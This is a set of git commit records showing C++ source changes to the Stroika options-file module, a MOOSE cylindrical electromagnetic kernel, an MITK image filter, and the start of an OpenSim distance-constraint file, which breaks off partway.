moduleNameToReadFileVersion, logger, reader, writer, reader.GetDefaultFileSuffix ())\n{\n}\n\nOptionsFile::OptionsFile (\n const String& modName,\n const ObjectVariantMapper& mapper,\n ModuleDataUpgraderType moduleUpgrader,\n ModuleNameToFileNameMapperType moduleNameToReadFileNameMapper,\n ModuleNameToFileNameMapperType moduleNameToWriteFileNameMapper,\n ModuleNameToFileVersionMapperType moduleNameToReadFileVersion,\n LoggerType logger,\n VariantReader reader,\n VariantWriter writer\n)\n : OptionsFile (modName, mapper, moduleUpgrader, moduleNameToReadFileNameMapper, moduleNameToWriteFileNameMapper, moduleNameToReadFileVersion, logger, reader, writer, reader.GetDefaultFileSuffix ())\n{\n}\n\nOptionsFile::OptionsFile (\n const String& modName,\n const ObjectVariantMapper& mapper,\n ModuleDataUpgraderType moduleUpgrader,\n ModuleNameToFileNameMapperType moduleNameToReadFileNameMapper,\n ModuleNameToFileNameMapperType moduleNameToWriteFileNameMapper,\n ModuleNameToFileVersionMapperType moduleNameToReadFileVersion,\n LoggerType logger,\n VariantReader reader,\n VariantWriter writer,\n const String& fileSuffix\n)\n : fModuleName_ (modName)\n , fMapper_ (mapper)\n , fModuleDataUpgrader_ (moduleUpgrader)\n , fModuleNameToReadFileNameMapper_ (moduleNameToReadFileNameMapper)\n , fModuleNameToWriteFileNameMapper_ (moduleNameToWriteFileNameMapper)\n , fModuleNameToFileVersionMapper_ (moduleNameToReadFileVersion)\n , fLogger_ (logger)\n , fReader_ (reader)\n , fWriter_ (writer)\n , fFileSuffix_ (fileSuffix)\n{\n}\n\nBLOB OptionsFile::ReadRaw () const\n{\n Debug::TraceContextBumper ctx (\"OptionsFile::ReadRaw\");\n#if USE_NOISY_TRACE_IN_THIS_MODULE_\n DbgTrace (L\"(readfilename=%s)\", GetReadFilePath_ ().c_str ());\n#endif\n return IO::FileSystem::FileInputStream::mk (GetReadFilePath_ ()).ReadAll ();\n}\n\nvoid OptionsFile::WriteRaw (const BLOB& blob)\n{\n Debug::TraceContextBumper ctx (\"OptionsFile::WriteRaw\");\n#if USE_NOISY_TRACE_IN_THIS_MODULE_\n DbgTrace (L\"(writefilename=%s)\", GetWriteFilePath_ ().c_str ());\n#endif\n if (GetReadFilePath_ () == GetWriteFilePath_ ()) {\n try {\n if (ReadRaw () == blob) {\n return;\n }\n }\n catch (...) {\n \/\/ No matter why we fail, nevermind. Just fall through and write.\n }\n }\n try {\n IO::FileSystem::ThroughTmpFileWriter tmpFile (GetWriteFilePath_ ());\n IO::FileSystem::FileOutputStream outStream (tmpFile.GetFilePath ());\n outStream.Write (blob);\n outStream.Flush ();\n outStream.clear (); \/\/ so any errors can be displayed as exceptions, and so closed before commit\/rename\n tmpFile.Commit ();\n }\n catch (...) {\n fLogger_ (LoggerMessage (LoggerMessage::Msg::eFailedToWriteFile, GetWriteFilePath_ ()));\n }\n}\n\ntemplate <>\nOptional<VariantValue> OptionsFile::Read ()\n{\n Debug::TraceContextBumper ctx (\"OptionsFile::Read\");\n try {\n Optional<VariantValue> r = fReader_.Read (MemoryStream<Byte> (ReadRaw ()));\n if (r.IsPresent ()) {\n r = fModuleDataUpgrader_ (fModuleNameToFileVersionMapper_ (fModuleName_), *r);\n }\n return r;\n }\n catch (...) {\n \/\/ @todo - check different exception cases and for some - like file not found - just no warning...\n fLogger_ (LoggerMessage (LoggerMessage::Msg::eFailedToReadFile, GetReadFilePath_ ()));\n return Optional<VariantValue> ();\n }\n}\n\ntemplate <>\nvoid OptionsFile::Write (const VariantValue& optionsObject)\n{\n Debug::TraceContextBumper ctx (\"OptionsFile::Write\");\n MemoryStream<Byte> tmp;\n fWriter_.Write (optionsObject, tmp);\n WriteRaw (tmp.As<BLOB> ());\n}\n\nString OptionsFile::GetReadFilePath_ () const\n{\n return fModuleNameToReadFileNameMapper_(fModuleName_, fFileSuffix_);\n}\n\nString OptionsFile::GetWriteFilePath_ () const\n{\n return fModuleNameToWriteFileNameMapper_(fModuleName_, fFileSuffix_);\n}\n<commit_msg>cosmetic<commit_after>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2016. All rights reserved\n *\/\n#include \"..\/StroikaPreComp.h\"\n\n#include \"..\/Characters\/Format.h\"\n#include \"..\/Execution\/Logger.h\"\n#include \"..\/IO\/FileSystem\/FileInputStream.h\"\n#include \"..\/IO\/FileSystem\/FileOutputStream.h\"\n#include \"..\/IO\/FileSystem\/PathName.h\"\n#include \"..\/IO\/FileSystem\/ThroughTmpFileWriter.h\"\n#include \"..\/IO\/FileSystem\/WellKnownLocations.h\"\n#include \"..\/Streams\/MemoryStream.h\"\n\n#include \"JSON\/Reader.h\"\n#include \"JSON\/Writer.h\"\n#include \"XML\/Reader.h\"\n#include \"XML\/Writer.h\"\n#include \"VariantValue.h\"\n\n#include \"OptionsFile.h\"\n\n\nusing namespace Stroika::Foundation;\nusing namespace Stroika::Foundation::Characters;\nusing namespace Stroika::Foundation::DataExchange;\nusing namespace Stroika::Foundation::Streams;\n\nusing Memory::BLOB;\n\n\n\n\n\/\/ Comment this in to turn on aggressive noisy DbgTrace in this module\n\/\/#define USE_NOISY_TRACE_IN_THIS_MODULE_ 1\n\n\n\n\n\n\/*\n ********************************************************************************\n ***************** DataExchange::OptionsFile::LoggerMessage *********************\n ********************************************************************************\n *\/\nOptionsFile::LoggerMessage::LoggerMessage (Msg msg, String fn)\n : fMsg (msg)\n , fFileName (fn)\n{\n}\n\nString OptionsFile::LoggerMessage::FormatMessage () const\n{\n switch (fMsg) {\n case Msg::eFailedToWriteFile:\n return Characters::Format (L\"Failed to write file: %s\", fFileName.Value ().c_str ());\n case Msg::eFailedToReadFile:\n return Characters::Format (L\"Failed to read file: %s\", fFileName.Value ().c_str ());\n case Msg::eFailedToParseReadFile:\n return Characters::Format (L\"Error analyzing configuration file '%s' - using defaults.\", fFileName.Value ().c_str ());\n case Msg::eFailedToParseReadFileBadFormat:\n return Characters::Format (L\"Error analyzing configuration file (because bad format) '%s' - using defaults.\", fFileName.Value ().c_str ());\n case Msg::eFailedToCompareReadFile:\n return Characters::Format (L\"Failed to compare configuration file: %s\", fFileName.Value ().c_str ());\n case Msg::eWritingConfigFile_SoDefaultsEditable:\n return Characters::Format (L\"Writing configuration file '%s' because not found (and so defaults are more easily seen and editable).\", fFileName.Value ().c_str ());\n case Msg::eWritingConfigFile_BecauseUpgraded:\n return Characters::Format (L\"Writing configuration file '%s' in a new location because the software has been upgraded.\", fFileName.Value ().c_str ());\n case Msg::eWritingConfigFile_BecauseSomethingChanged:\n return Characters::Format (L\"Writing configuration file '%s' because something changed (e.g. a default, or field added\/removed).\", fFileName.Value ().c_str ());\n case Msg::eFailedToWriteInUseValues:\n return Characters::Format (L\"Failed to write default (in use) values to file: %s\", fFileName.Value ().c_str ());\n default:\n RequireNotReached ();\n return String ();\n }\n}\n\n\n\n\n\n\/*\n ********************************************************************************\n ************************** DataExchange::OptionsFile ***************************\n ********************************************************************************\n *\/\nconst OptionsFile::ModuleDataUpgraderType OptionsFile::kDefaultUpgrader = [] (const Memory::Optional<Configuration::Version>& version, const VariantValue& rawVariantValue) -> VariantValue {\n return rawVariantValue;\n};\n\nconst OptionsFile::LoggerType OptionsFile::kDefaultLogger =\n [] (const LoggerMessage& message)\n{\n using Execution::Logger;\n Logger::Priority priority = Logger::Priority::eError;\n using Msg = OptionsFile::LoggerMessage::Msg;\n switch (message.fMsg) {\n case Msg::eFailedToReadFile:\n priority = Logger::Priority::eWarning; \/\/ could be just because new system, no file\n break;\n case Msg::eWritingConfigFile_SoDefaultsEditable:\n case Msg::eWritingConfigFile_BecauseUpgraded:\n case Msg::eWritingConfigFile_BecauseSomethingChanged:\n priority = Logger::Priority::eInfo;\n break;\n\n case Msg::eFailedToParseReadFile:\n case Msg::eFailedToParseReadFileBadFormat:\n \/\/ Most likely very bad - as critical configuration data will be lost, and overwritten with 'defaults'\n priority = Logger::Priority::eCriticalError;\n break;\n }\n Logger::Get ().Log (priority, L\"%s\", message.FormatMessage ().c_str ());\n};\n\nconst OptionsFile::ModuleNameToFileNameMapperType OptionsFile::mkFilenameMapper (const String& appName)\n{\n String useAppName = appName;\n return\n [useAppName] (const String & moduleName, const String & fileSuffix) -> String {\n return IO::FileSystem::WellKnownLocations::GetApplicationData() + useAppName + String (IO::FileSystem::kPathComponentSeperator) + moduleName + fileSuffix;\n }\n ;\n}\n\nconst OptionsFile::ModuleNameToFileVersionMapperType OptionsFile::kDefaultModuleNameToFileVersionMapper = [] (const String& moduleName) -> Optional<Configuration::Version> {\n return Optional<Configuration::Version> (); \/\/ default to dont know\n};\n\n\n\n\/\/ Consider using XML by default when more mature\nconst VariantReader OptionsFile::kDefaultReader = JSON::Reader ();\nconst VariantWriter OptionsFile::kDefaultWriter = JSON::Writer ();\n\n\n\n\n\n\nOptionsFile::OptionsFile (\n const String& modName,\n const ObjectVariantMapper& mapper,\n ModuleDataUpgraderType moduleUpgrader,\n ModuleNameToFileNameMapperType moduleNameToFileNameMapper,\n ModuleNameToFileVersionMapperType moduleNameToReadFileVersion,\n LoggerType logger,\n VariantReader reader,\n VariantWriter writer\n)\n : OptionsFile (modName, mapper, moduleUpgrader, moduleNameToFileNameMapper, moduleNameToFileNameMapper, moduleNameToReadFileVersion, logger, reader, writer, reader.GetDefaultFileSuffix ())\n{\n}\n\nOptionsFile::OptionsFile (\n const String& modName,\n const ObjectVariantMapper& mapper,\n ModuleDataUpgraderType moduleUpgrader,\n ModuleNameToFileNameMapperType moduleNameToReadFileNameMapper,\n ModuleNameToFileNameMapperType moduleNameToWriteFileNameMapper,\n ModuleNameToFileVersionMapperType moduleNameToReadFileVersion,\n LoggerType logger,\n VariantReader reader,\n VariantWriter writer\n)\n : OptionsFile (modName, mapper, moduleUpgrader, moduleNameToReadFileNameMapper, moduleNameToWriteFileNameMapper, moduleNameToReadFileVersion, logger, reader, writer, reader.GetDefaultFileSuffix ())\n{\n}\n\nOptionsFile::OptionsFile (\n const String& modName,\n const ObjectVariantMapper& mapper,\n ModuleDataUpgraderType moduleUpgrader,\n ModuleNameToFileNameMapperType moduleNameToReadFileNameMapper,\n ModuleNameToFileNameMapperType moduleNameToWriteFileNameMapper,\n ModuleNameToFileVersionMapperType moduleNameToReadFileVersion,\n LoggerType logger,\n VariantReader reader,\n VariantWriter writer,\n const String& fileSuffix\n)\n : fModuleName_ (modName)\n , fMapper_ (mapper)\n , fModuleDataUpgrader_ (moduleUpgrader)\n , fModuleNameToReadFileNameMapper_ (moduleNameToReadFileNameMapper)\n , fModuleNameToWriteFileNameMapper_ (moduleNameToWriteFileNameMapper)\n , fModuleNameToFileVersionMapper_ (moduleNameToReadFileVersion)\n , fLogger_ (logger)\n , fReader_ (reader)\n , fWriter_ (writer)\n , fFileSuffix_ (fileSuffix)\n{\n}\n\nBLOB OptionsFile::ReadRaw () const\n{\n Debug::TraceContextBumper ctx (\"OptionsFile::ReadRaw\");\n#if USE_NOISY_TRACE_IN_THIS_MODULE_\n DbgTrace (L\"(readfilename=%s)\", GetReadFilePath_ ().c_str ());\n#endif\n return IO::FileSystem::FileInputStream::mk (GetReadFilePath_ ()).ReadAll ();\n}\n\nvoid OptionsFile::WriteRaw (const BLOB& blob)\n{\n Debug::TraceContextBumper ctx (\"OptionsFile::WriteRaw\");\n#if USE_NOISY_TRACE_IN_THIS_MODULE_\n DbgTrace (L\"(writefilename=%s)\", GetWriteFilePath_ ().c_str ());\n#endif\n if (GetReadFilePath_ () == GetWriteFilePath_ ()) {\n try {\n if (ReadRaw () == blob) {\n return;\n }\n }\n catch (...) {\n \/\/ No matter why we fail, nevermind. Just fall through and write.\n }\n }\n try {\n IO::FileSystem::ThroughTmpFileWriter tmpFile (GetWriteFilePath_ ());\n IO::FileSystem::FileOutputStream outStream (tmpFile.GetFilePath ());\n outStream.Write (blob);\n outStream.Flush ();\n outStream.clear (); \/\/ so any errors can be displayed as exceptions, and so closed before commit\/rename\n tmpFile.Commit ();\n }\n catch (...) {\n fLogger_ (LoggerMessage (LoggerMessage::Msg::eFailedToWriteFile, GetWriteFilePath_ ()));\n }\n}\n\ntemplate <>\nOptional<VariantValue> OptionsFile::Read ()\n{\n Debug::TraceContextBumper ctx (\"OptionsFile::Read\");\n try {\n Optional<VariantValue> r = fReader_.Read (MemoryStream<Byte> (ReadRaw ()));\n if (r.IsPresent ()) {\n r = fModuleDataUpgrader_ (fModuleNameToFileVersionMapper_ (fModuleName_), *r);\n }\n return r;\n }\n catch (...) {\n \/\/ @todo - check different exception cases and for some - like file not found - just no warning...\n fLogger_ (LoggerMessage (LoggerMessage::Msg::eFailedToReadFile, GetReadFilePath_ ()));\n return Optional<VariantValue> ();\n }\n}\n\ntemplate <>\nvoid OptionsFile::Write (const VariantValue& optionsObject)\n{\n Debug::TraceContextBumper ctx (\"OptionsFile::Write\");\n MemoryStream<Byte> tmp;\n fWriter_.Write (optionsObject, tmp);\n WriteRaw (tmp.As<BLOB> ());\n}\n\nString OptionsFile::GetReadFilePath_ () const\n{\n return fModuleNameToReadFileNameMapper_ (fModuleName_, fFileSuffix_);\n}\n\nString OptionsFile::GetWriteFilePath_ () const\n{\n return fModuleNameToWriteFileNameMapper_ (fModuleName_, fFileSuffix_);\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"TM0Cylindrical.h\"\n\ntemplate<>\nInputParameters validParams<TM0Cylindrical>()\n{\n InputParameters params = validParams<Kernel>();\n \/\/ params.addRequiredParam<Real>(\"position_units\", \"Units of position.\");\n params.addRequiredParam<Real>(\"f\", \"The drive frequency.\");\n params.addParam<Real>(\"eps_r\", 1., \"The relative permittivity of the medium.\");\n return params;\n}\n\nTM0Cylindrical::TM0Cylindrical(const InputParameters & parameters) :\n Kernel(parameters),\n\n \/\/ _r_units(1. \/ getParam<Real>(\"position_units\")),\n _omega(2. * libMesh::pi * getParam<Real>(\"f\")),\n _eps_r(getParam<Real>(\"eps_r\")),\n _mu0(4. * libMesh::pi * 1e-7),\n _eps0(8.85e-12)\n{\n}\n\nTM0Cylindrical::~TM0Cylindrical()\n{\n}\n\nReal\nTM0Cylindrical::computeQpResidual()\n{\n return -_grad_test[_i][_qp] * _grad_u[_qp] - _test[_i][_qp] * _u[_qp] \/ std::pow(_q_point[_qp](0), 2) + _test[_i][_qp] * std::pow(_omega, 2) * _mu0 * _eps_r * _eps0 * _u[_qp];\n}\n\nReal\nTM0Cylindrical::computeQpJacobian()\n{\n return -_grad_test[_i][_qp] * _grad_phi[_j][_qp] - _test[_i][_qp] * _phi[_j][_qp] \/ std::pow(_q_point[_qp](0), 2) + _test[_i][_qp] * std::pow(_omega, 2) * _mu0 * _eps_r * _eps0 * _phi[_j][_qp];\n}\n<commit_msg>Possible error in dielectric formulation.<commit_after>#include \"TM0Cylindrical.h\"\n\ntemplate<>\nInputParameters validParams<TM0Cylindrical>()\n{\n InputParameters params = validParams<Kernel>();\n \/\/ params.addRequiredParam<Real>(\"position_units\", \"Units of position.\");\n params.addRequiredParam<Real>(\"f\", \"The drive frequency.\");\n params.addParam<Real>(\"eps_r\", 1., \"The relative permittivity of the medium.\");\n return params;\n}\n\nTM0Cylindrical::TM0Cylindrical(const InputParameters & parameters) :\n Kernel(parameters),\n\n \/\/ _r_units(1. \/ getParam<Real>(\"position_units\")),\n _omega(2. * libMesh::pi * getParam<Real>(\"f\")),\n _eps_r(getParam<Real>(\"eps_r\")),\n _mu0(4. * libMesh::pi * 1e-7),\n _eps0(8.85e-12)\n{\n}\n\nTM0Cylindrical::~TM0Cylindrical()\n{\n}\n\nReal\nTM0Cylindrical::computeQpResidual()\n{\n return -_grad_test[_i][_qp] * _grad_u[_qp] \/ _eps_r - _test[_i][_qp] * _u[_qp] \/ std::pow(_q_point[_qp](0), 2) \/ _eps_r + _test[_i][_qp] * std::pow(_omega, 2) * _mu0 * _eps_r * _eps0 * _u[_qp];\n}\n\nReal\nTM0Cylindrical::computeQpJacobian()\n{\n return -_grad_test[_i][_qp] * _grad_phi[_j][_qp] \/ _eps_r - _test[_i][_qp] * _phi[_j][_qp] \/ std::pow(_q_point[_qp](0), 2) \/ _eps_r + _test[_i][_qp] * std::pow(_omega, 2) * _mu0 * _eps_r * _eps0 * _phi[_j][_qp];\n}\n<|endoftext|>"} {"text":"<commit_before>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include <mitkImageToUnstructuredGridFilter.h>\n\n#include <vtkSmartPointer.h>\n#include <vtkPoints.h>\n#include <vtkUnstructuredGrid.h>\n#include <vtkPolyVertex.h>\n\n#include <itkImageRegionIterator.h>\n\n#include <mitkImageAccessByItk.h>\n\n\nmitk::ImageToUnstructuredGridFilter::ImageToUnstructuredGridFilter():\nm_NumberOfExtractedPoints(0),\nm_Threshold(-0.1)\n{\n this->m_UnstructGrid = mitk::UnstructuredGrid::New();\n}\n\nmitk::ImageToUnstructuredGridFilter::~ImageToUnstructuredGridFilter(){}\n\nvoid mitk::ImageToUnstructuredGridFilter::GenerateData()\n{\n mitk::UnstructuredGrid::Pointer unstructGrid = this->GetOutput();\n const mitk::Image* image = this->GetInput();\n\n if(image == nullptr || !image->IsInitialized())\n {\n MITK_ERROR << \"Wrong input image set\" << std::endl;\n return;\n }\n\n m_Geometry = image->GetGeometry();\n\n m_NumberOfExtractedPoints = 0;\n\n AccessByItk(image, ExtractPoints)\n}\n\nvoid mitk::ImageToUnstructuredGridFilter::SetInput(const mitk::Image* image)\n{\n this->ProcessObject::SetNthInput(0, const_cast< mitk::Image* >( image ) );\n}\n\n\nconst mitk::Image* mitk::ImageToUnstructuredGridFilter::GetInput(void) const\n{\n return this->GetInput();\n}\n\nmitk::Image* mitk::ImageToUnstructuredGridFilter::GetInput(void)\n{\n if (this->GetNumberOfInputs() < 1)\n {\n MITK_ERROR << \"No input set\" << std::endl;\n return nullptr;\n }\n\n return static_cast< mitk::Image* >( this->ProcessObject::GetInput(0) );\n}\n\ntemplate<typename TPixel, unsigned int VImageDimension>\nvoid mitk::ImageToUnstructuredGridFilter::\n ExtractPoints(const itk::Image<TPixel, VImageDimension>* image)\n{\n typedef itk::Image<TPixel, VImageDimension> InputImageType;\n typename itk::ImageRegionConstIterator<InputImageType> it(image, image->GetRequestedRegion());\n\n vtkSmartPointer<vtkPoints> points = vtkSmartPointer<vtkPoints>::New();\n\n it.GoToBegin();\n while( !it.IsAtEnd() )\n {\n if(it.Get() >= m_Threshold)\n {\n mitk::Point3D imagePoint;\n mitk::Point3D worldPoint;\n\n imagePoint[0] = it.GetIndex()[0];\n imagePoint[1] = it.GetIndex()[1];\n imagePoint[2] = it.GetIndex()[2];\n\n m_Geometry->IndexToWorld(imagePoint, worldPoint);\n\n points->InsertNextPoint(worldPoint[0],worldPoint[1],worldPoint[2]);\n m_NumberOfExtractedPoints++;\n }\n ++it;\n }\n\n vtkSmartPointer<vtkPolyVertex> verts = vtkSmartPointer<vtkPolyVertex>::New();\n\n verts->GetPointIds()->SetNumberOfIds(m_NumberOfExtractedPoints);\n for(int i=0; i<m_NumberOfExtractedPoints; i++)\n {\n verts->GetPointIds()->SetId(i,i);\n }\n\n vtkSmartPointer<vtkUnstructuredGrid> uGrid = vtkSmartPointer<vtkUnstructuredGrid>::New();\n uGrid->Allocate(1);\n\n uGrid->InsertNextCell(verts->GetCellType(), verts->GetPointIds());\n uGrid->SetPoints(points);\n\n m_UnstructGrid->SetVtkUnstructuredGrid(uGrid);\n}\n\nvoid mitk::ImageToUnstructuredGridFilter::SetThreshold(double threshold)\n{\n this->m_Threshold = threshold;\n}\n\ndouble mitk::ImageToUnstructuredGridFilter::GetThreshold()\n{\n return this->m_Threshold;\n}\n\n\nvoid mitk::ImageToUnstructuredGridFilter::GenerateOutputInformation()\n{\n mitk::Image::ConstPointer inputImage = this->GetInput();\n\n m_UnstructGrid = this->GetOutput();\n\n itkDebugMacro(<<\"GenerateOutputInformation()\");\n\n if(inputImage.IsNull()) return;\n}\n<commit_msg>Fixed build error on windows<commit_after>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include <mitkImageToUnstructuredGridFilter.h>\n\n#include <vtkSmartPointer.h>\n#include <vtkPoints.h>\n#include <vtkUnstructuredGrid.h>\n#include <vtkPolyVertex.h>\n\n#include <itkImageRegionIterator.h>\n\n#include <mitkImageAccessByItk.h>\n\n\nmitk::ImageToUnstructuredGridFilter::ImageToUnstructuredGridFilter():\nm_NumberOfExtractedPoints(0),\nm_Threshold(-0.1)\n{\n this->m_UnstructGrid = mitk::UnstructuredGrid::New();\n}\n\nmitk::ImageToUnstructuredGridFilter::~ImageToUnstructuredGridFilter(){}\n\nvoid mitk::ImageToUnstructuredGridFilter::GenerateData()\n{\n mitk::UnstructuredGrid::Pointer unstructGrid = this->GetOutput();\n const mitk::Image* image = this->GetInput();\n\n if(image == nullptr || !image->IsInitialized())\n {\n MITK_ERROR << \"Wrong input image set\" << std::endl;\n return;\n }\n\n m_Geometry = image->GetGeometry();\n\n m_NumberOfExtractedPoints = 0;\n\n AccessByItk(image, ExtractPoints)\n}\n\nvoid mitk::ImageToUnstructuredGridFilter::SetInput(const mitk::Image* image)\n{\n this->ProcessObject::SetNthInput(0, const_cast< mitk::Image* >( image ) );\n}\n\n\nconst mitk::Image* mitk::ImageToUnstructuredGridFilter::GetInput(void) const\n{\n if (this->GetNumberOfInputs() < 1)\n {\n MITK_ERROR << \"No input set\" << std::endl;\n return nullptr;\n }\n\n return static_cast<const mitk::Image* >(this->ProcessObject::GetInput(0));\n}\n\nmitk::Image* mitk::ImageToUnstructuredGridFilter::GetInput(void)\n{\n if (this->GetNumberOfInputs() < 1)\n {\n MITK_ERROR << \"No input set\" << std::endl;\n return nullptr;\n }\n\n return static_cast< mitk::Image* >( this->ProcessObject::GetInput(0) );\n}\n\ntemplate<typename TPixel, unsigned int VImageDimension>\nvoid mitk::ImageToUnstructuredGridFilter::\n ExtractPoints(const itk::Image<TPixel, VImageDimension>* image)\n{\n typedef itk::Image<TPixel, VImageDimension> InputImageType;\n typename itk::ImageRegionConstIterator<InputImageType> it(image, image->GetRequestedRegion());\n\n vtkSmartPointer<vtkPoints> points = vtkSmartPointer<vtkPoints>::New();\n\n it.GoToBegin();\n while( !it.IsAtEnd() )\n {\n if(it.Get() >= m_Threshold)\n {\n mitk::Point3D imagePoint;\n mitk::Point3D worldPoint;\n\n imagePoint[0] = it.GetIndex()[0];\n imagePoint[1] = it.GetIndex()[1];\n imagePoint[2] = it.GetIndex()[2];\n\n m_Geometry->IndexToWorld(imagePoint, worldPoint);\n\n points->InsertNextPoint(worldPoint[0],worldPoint[1],worldPoint[2]);\n m_NumberOfExtractedPoints++;\n }\n ++it;\n }\n\n vtkSmartPointer<vtkPolyVertex> verts = vtkSmartPointer<vtkPolyVertex>::New();\n\n verts->GetPointIds()->SetNumberOfIds(m_NumberOfExtractedPoints);\n for(int i=0; i<m_NumberOfExtractedPoints; i++)\n {\n verts->GetPointIds()->SetId(i,i);\n }\n\n vtkSmartPointer<vtkUnstructuredGrid> uGrid = vtkSmartPointer<vtkUnstructuredGrid>::New();\n uGrid->Allocate(1);\n\n uGrid->InsertNextCell(verts->GetCellType(), verts->GetPointIds());\n uGrid->SetPoints(points);\n\n m_UnstructGrid->SetVtkUnstructuredGrid(uGrid);\n}\n\nvoid mitk::ImageToUnstructuredGridFilter::SetThreshold(double threshold)\n{\n this->m_Threshold = threshold;\n}\n\ndouble mitk::ImageToUnstructuredGridFilter::GetThreshold()\n{\n return this->m_Threshold;\n}\n\n\nvoid mitk::ImageToUnstructuredGridFilter::GenerateOutputInformation()\n{\n mitk::Image::ConstPointer inputImage = this->GetInput();\n\n m_UnstructGrid = this->GetOutput();\n\n itkDebugMacro(<<\"GenerateOutputInformation()\");\n\n if(inputImage.IsNull()) return;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* -------------------------------------------------------------------------- *\n * OpenSim: ConstantDistanceConstraint.cpp *\n * -------------------------------------------------------------------------- *\n * The OpenSim API is a toolkit for musculoskeletal modeling and simulation. *\n * See http:\/\/opensim.stanford.edu and the NOTICE file for more information. *\n * OpenSim is developed at Stanford University and supported by the US *\n * National Institutes of Health (U54 GM072970, R24 HD065690) and by DARPA *\n * through the Warrior Web program. *\n * *\n * Copyright (c) 2005-2012 Stanford University and the Authors *\n * Author(s): Matt S. DeMers *\n * *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may *\n * not use this file except in compliance with the License. You may obtain a *\n * copy of the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0. *\n * *\n * Unless required by applicable law or agreed to in writing, software *\n * distributed under the License is distributed on an \"AS IS\" BASIS, *\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *\n * See the License for the specific language governing permissions and *\n * limitations under the License. *\n * -------------------------------------------------------------------------- *\/\n\n\/\/=============================================================================\n\/\/ INCLUDES\n\/\/=============================================================================\n#include <iostream>\n#include <math.h>\n#include <OpenSim\/Common\/Function.h>\n#include <OpenSim\/Common\/Constant.h>\n#include <OpenSim\/Simulation\/Model\/BodySet.h>\n#include <OpenSim\/Simulation\/Model\/Model.h>\n\n#include \"ConstantDistanceConstraint.h\"\n#include \"SimbodyEngine.h\"\n\n\/\/=============================================================================\n\/\/ STATICS\n\/\/=============================================================================\nusing namespace std;\nusing namespace SimTK;\nusing namespace OpenSim;\n\n\/\/=============================================================================\n\/\/ CONSTRUCTOR(S) AND DESTRUCTOR\n\/\/=============================================================================\n\/\/_____________________________________________________________________________\n\/**\n * Destructor.\n *\/\nConstantDistanceConstraint::~ConstantDistanceConstraint()\n{\n}\n\n\/\/=============================================================================\n\/\/ CONSTRUCTION\n\/\/=============================================================================\n\/* Default constructor.\n *\/\nConstantDistanceConstraint::ConstantDistanceConstraint() :\n Constraint()\n{\n setNull();\n constructInfrastructure();\n}\n\n\/*\n * Convenience Constructor.\n*\/\nConstantDistanceConstraint::ConstantDistanceConstraint(\n const PhysicalFrame& body1, const SimTK::Vec3& locationBody1,\n const PhysicalFrame& body2, const SimTK::Vec3& locationBody2,\n const double& distance) : Constraint()\n{\n setNull();\n constructInfrastructure();\n\n setBody1ByName(body1.getName());\n setBody2ByName(body2.getName());\n set_location_body_1(locationBody1);\n\n set_location_body_2(locationBody2);\n set_constant_distance(distance);\n}\n\n\/* Set the data members of this ConstantDistanceConstraint to their null values.\n *\/\nvoid ConstantDistanceConstraint::setNull()\n{\n setAuthors(\"Matt S. DeMers\");\n}\n\n\/\/_____________________________________________________________________________\n\/**\n * Connect properties to local pointers.\n *\/\nvoid ConstantDistanceConstraint::constructProperties()\n{\n \/\/Default location and orientation (rotation sequence)\n SimTK::Vec3 origin(0.0, 0.0, 0.0);\n\n constructProperty_location_body_1(origin);\n constructProperty_location_body_2(origin);\n\n \/\/ Constant distance between points\n constructProperty_constant_distance(SimTK::NaN);\n}\n\nvoid ConstantDistanceConstraint::constructConnectors()\n{\n constructConnector<PhysicalFrame>(\"body_1\");\n constructConnector<PhysicalFrame>(\"body_2\");\n}\n\n\nvoid ConstantDistanceConstraint::extendAddToSystem(SimTK::MultibodySystem& system) const\n{\n Super::extendAddToSystem(system);\n\n \/\/ Get underlying mobilized bodies\n const PhysicalFrame& f1 = getConnectee<PhysicalFrame>(\"body_1\");\n const PhysicalFrame& f2 = getConnectee<PhysicalFrame>(\"body_2\");\n\n SimTK::MobilizedBody b1 = f1.getMobilizedBody();\n SimTK::MobilizedBody b2 = f2.getMobilizedBody();\n\n \/\/ Now create a Simbody Constraint::Rod\n SimTK::Constraint::Rod simtkRod(b1, get_location_body_1(),\n b2, get_location_body_2(),\n get_constant_distance() );\n \n \/\/ Beyond the const Component get the index so we can access the SimTK::Constraint later\n assignConstraintIndex(simtkRod.getConstraintIndex());\n}\n\n\/\/=============================================================================\n\/\/ GET\/SET\n\/\/=============================================================================\nconst PhysicalFrame& ConstantDistanceConstraint::getBody1() const\n{\n return getConnectee<Body>(\"body_1\");\n}\n\nconst PhysicalFrame& ConstantDistanceConstraint::getBody2() const\n{\n return getConnectee<PhysicalFrame>(\"body_2\");\n}\n\n\/*\n* Following methods set attributes of the constraint *\/\nvoid ConstantDistanceConstraint::setBody1ByName(const std::string& aBodyName)\n{\n updConnector<PhysicalFrame>(\"body_1\").set_connectee_name(aBodyName);\n}\n\nvoid ConstantDistanceConstraint::setBody2ByName(const std::string& aBodyName)\n{\n updConnector<PhysicalFrame>(\"body_2\").set_connectee_name(aBodyName);\n}\n\n\/** Set the location for point on body 1*\/\nvoid ConstantDistanceConstraint::setBody1PointLocation(Vec3 location)\n{\n set_location_body_1(location);\n}\n\n\/** Set the location for point on body 2*\/\nvoid ConstantDistanceConstraint::setBody2PointLocation(Vec3 location)\n{\n set_location_body_2(location);\n}\n\n\/** Set the constant distance between the two points*\/\nvoid ConstantDistanceConstraint::setConstantDistance(double distance)\n{\n set_constant_distance(distance);\n}\n\nvoid ConstantDistanceConstraint::updateFromXMLNode(SimTK::Xml::Element& aNode, int versionNumber)\n{\n int documentVersion = versionNumber;\n if 